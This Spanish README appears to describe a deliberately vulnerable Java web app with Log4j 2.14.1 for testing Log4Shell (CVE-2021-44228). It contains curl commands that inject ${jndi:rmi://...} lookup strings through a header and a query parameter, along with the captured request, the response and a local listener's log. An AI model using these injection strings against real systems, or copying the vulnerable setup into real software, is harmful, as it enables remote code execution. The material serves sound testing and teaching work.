
Esta es una aplicación web Java potencialmente vulnerable que contiene Log4j afectado por log4shell (CVE-2021-44228).
Esta es una aplicación web Java potencialmente vulnerable que contiene Log4j (2.14.1), afectada por log4shell (CVE-2021-44228).
java --version para comprobar si AdoptOpenJDK funciona correctamente.[Nota]
Si desea cambiar la versión del JDK, el puerto de Tomcat, etc., edite build.gradle.
Ejecute el wrapper de Gradle con build.gradle.
# on Linux
./gradlew appRun
# on Windows
.\gradlew.bat appRun
URL principal:
http://localhost:8080/l4s-vulnapp/
[Nota]
Log4Shell se activa solo cuando la aplicación realiza algún registro con Log4j.
Por ejemplo, si se accede a la siguiente URL, Log4Shell se ejecutará.
http://localhost:8080/l4s-vulnapp/servlet
Puede comprobar Log4Shell alterando el valor de "x-param" o añadiendo la cabecera "x-log" a la petición HTTP al acceder a ella.
Estos parámetros serán registrados por Log4j.
Sin embargo, esto solo es posible si hay un servidor en escucha en localhost:8081.
curl http://localhost:8080/l4s-vulnapp/servlet -H 'x-log: ${jndi:rmi://localhost:8081/test.txt}'
curl -X GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D
Petición HTTP
GET http://localhost:8080/l4s-vulnapp/servlet?x-param=%24%7Bjndi%3Armi%3A%2F%2Flocalhost%3A8081%2Ftest.txt%7D HTTP/1.1
Host: localhost:8080
Connection: keep-alive
Cache-Control: max-age=0
sec-ch-ua: "Chromium";v="122", "Not(A:Brand";v="24", "Google Chrome";v="122"
sec-ch-ua-mobile: ?0
sec-ch-ua-platform: "Windows"
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/122.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/ *;q=0.8,application/signed-exchange;v=b3;q=0.7
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: navigate
Sec-Fetch-User: ?1
Sec-Fetch-Dest: document
Referer: http://localhost:8080/l4s-vulnapp/
Accept-Encoding: gzip, deflate, br, zstd
Accept-Language: ja,en-US;q=0.9,en;q=0.8
Respuesta HTTP
HTTP/1.1 200
Content-Type: text/plain;charset=utf-8
Content-Length: 62
Date: Fri, 15 Mar 2024 18:42:56 GMT
Keep-Alive: timeout=60
Connection: keep-alive
Hello
Logging to console using vulnerable Log4j2 by parameter
Petición RMI de l4s-vulnapp
2024/03/16 03:42:46: [Start] Receive Server for Log4Shell.
2024/03/16 03:42:46: [Note] Listening on IP: "localhost" Port: 8081
2024/03/16 03:42:55: [Note] Requested from IP: "127.0.0.1" Port: 53282)
2024/03/16 03:42:55: [Hex data] ===== start =====
2024/03/16 03:42:56: 00000000 4A 52 4D 49 00 02 4B 00 00 00 00 00 00 00 00 00 JRMI..K.........
2024/03/16 03:42:56: 00000010 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 ................
2024/03/16 03:42:56: [Hex data] ===== end =====
2024/03/16 03:42:56: [Raw data] ===== start =====
2024/03/16 03:42:56: JRMI
2024/03/16 03:42:56: [Raw data] ===== end =====
l4s-ls.ps1 inicia un servidor en escucha; ejecute este script en Windows PowerShell o el Símbolo del sistema.
Este servidor recibe comunicaciones binarias como LDAP y RMI, y puede mostrar el contenido de dichas comunicaciones en Hex y Raw.
Si el script no funciona correctamente, use Ctrl + C para detenerlo.
[Precaución]
Al ejecutar este script por primera vez, es necesario seleccionar "Red privada" en la ventana emergente de Windows.
PowerShell -ExecutionPolicy RemoteSigned .\l4s-ls.ps1 -p 8081